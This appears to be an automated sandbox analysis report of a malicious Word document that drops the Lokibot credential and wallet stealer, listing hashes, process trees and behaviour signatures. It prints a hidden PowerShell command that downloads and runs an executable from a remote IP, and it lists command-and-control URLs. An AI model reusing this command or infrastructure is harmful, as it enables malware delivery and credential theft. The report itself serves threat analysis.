Analysis

  • max time kernel
    149s
  • max time network
    174s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    11-06-2021 03:40

General

  • Target

    Quotation For Products.doc

  • Size

    416KB

  • MD5

    3a99afd85fb1e4bda80f0a8bb2476616

  • SHA1

    2398d29a7cd49968a3ea037821cf864579f20ce8

  • SHA256

    2c44f76d882e07be44cb97ff736b54aa2e531ec45c4ad2fa51438824665f532f

  • SHA512

    066b74b5a80ac126e71ec4be063f8a3aefd668bbda0f766821c660f961b71ec011c243da1eb3d5fa737e8d39bdeb81ceb190045e2777c14115f4e5cabc502022

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://31.210.20.45/1xBet/dgeApp17.exe

Extracted

Family

lokibot

C2

http://209.141.34.39/cap-01/pin.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Quotation For Products.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:916
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "http://31.210.20.45/1xBet/dgeApp17.exe" -Destination "C:\Users\Public\Documents\bornskin.exe";C:\Users\Public\Documents\bornskin.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Users\Public\Documents\bornskin.exe
        "C:\Users\Public\Documents\bornskin.exe"
        3⤵
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Users\Admin\AppData\Local\Temp\bornskin.exe
          C:\Users\Admin\AppData\Local\Temp\bornskin.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1988
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1332

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\bornskin.exe
      MD5

      81f63c8e0fab4d42de5486e88aa5ac74

      SHA1

      f3b3d2fb57e01af4bbcc356a71e8a5abe428491c

      SHA256

      2c4029189010085712385bb7329bf0a10851ddec9c9849e60a94962896fcdfe4

      SHA512

      ef293f7d8b32d3cd2edcbc0620dbf17aadf7f85465e8e864aa15118b9c9255240c9ea2d5215709408a6062c1ead868b71cd8749f12be6f4ddc24c7e1ff20c0bb

    • C:\Users\Admin\AppData\Local\Temp\bornskin.exe
      MD5

      81f63c8e0fab4d42de5486e88aa5ac74

      SHA1

      f3b3d2fb57e01af4bbcc356a71e8a5abe428491c

      SHA256

      2c4029189010085712385bb7329bf0a10851ddec9c9849e60a94962896fcdfe4

      SHA512

      ef293f7d8b32d3cd2edcbc0620dbf17aadf7f85465e8e864aa15118b9c9255240c9ea2d5215709408a6062c1ead868b71cd8749f12be6f4ddc24c7e1ff20c0bb

    • \Users\Admin\AppData\Local\Temp\bornskin.exe
      MD5

      81f63c8e0fab4d42de5486e88aa5ac74

      SHA1

      f3b3d2fb57e01af4bbcc356a71e8a5abe428491c

      SHA256

      2c4029189010085712385bb7329bf0a10851ddec9c9849e60a94962896fcdfe4

      SHA512

      ef293f7d8b32d3cd2edcbc0620dbf17aadf7f85465e8e864aa15118b9c9255240c9ea2d5215709408a6062c1ead868b71cd8749f12be6f4ddc24c7e1ff20c0bb

    • memory/916-60-0x0000000072661000-0x0000000072664000-memory.dmp
      Filesize

      12KB

    • memory/916-61-0x00000000700E1000-0x00000000700E3000-memory.dmp
      Filesize

      8KB

    • memory/916-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1332-95-0x0000000000000000-mapping.dmp
    • memory/1332-96-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp
      Filesize

      8KB

    • memory/1568-97-0x0000000002090000-0x00000000020C3000-memory.dmp
      Filesize

      204KB

    • memory/1568-90-0x0000000000000000-mapping.dmp
    • memory/1568-94-0x00000000006A0000-0x00000000006A1000-memory.dmp
      Filesize

      4KB

    • memory/1568-93-0x0000000000360000-0x0000000000390000-memory.dmp
      Filesize

      192KB

    • memory/1568-91-0x0000000000210000-0x0000000000211000-memory.dmp
      Filesize

      4KB

    • memory/1968-67-0x0000000002490000-0x0000000002491000-memory.dmp
      Filesize

      4KB

    • memory/1968-69-0x0000000000CD2000-0x0000000000CD3000-memory.dmp
      Filesize

      4KB

    • memory/1968-87-0x0000000005700000-0x0000000005701000-memory.dmp
      Filesize

      4KB

    • memory/1968-89-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/1968-79-0x0000000006400000-0x0000000006401000-memory.dmp
      Filesize

      4KB

    • memory/1968-78-0x00000000061D0000-0x00000000061D1000-memory.dmp
      Filesize

      4KB

    • memory/1968-73-0x0000000006190000-0x0000000006191000-memory.dmp
      Filesize

      4KB

    • memory/1968-70-0x0000000005250000-0x0000000005251000-memory.dmp
      Filesize

      4KB

    • memory/1968-68-0x0000000000CD0000-0x0000000000CD1000-memory.dmp
      Filesize

      4KB

    • memory/1968-86-0x0000000006330000-0x0000000006331000-memory.dmp
      Filesize

      4KB

    • memory/1968-66-0x00000000047E0000-0x00000000047E1000-memory.dmp
      Filesize

      4KB

    • memory/1968-65-0x0000000000FB0000-0x0000000000FB1000-memory.dmp
      Filesize

      4KB

    • memory/1968-63-0x0000000000000000-mapping.dmp
    • memory/1968-64-0x0000000075011000-0x0000000075013000-memory.dmp
      Filesize

      8KB

    • memory/1988-100-0x00000000004139DE-mapping.dmp
    • memory/1988-103-0x0000000000400000-0x00000000004A2000-memory.dmp
      Filesize

      648KB

    • memory/1988-99-0x0000000000400000-0x00000000004A2000-memory.dmp
      Filesize

      648KB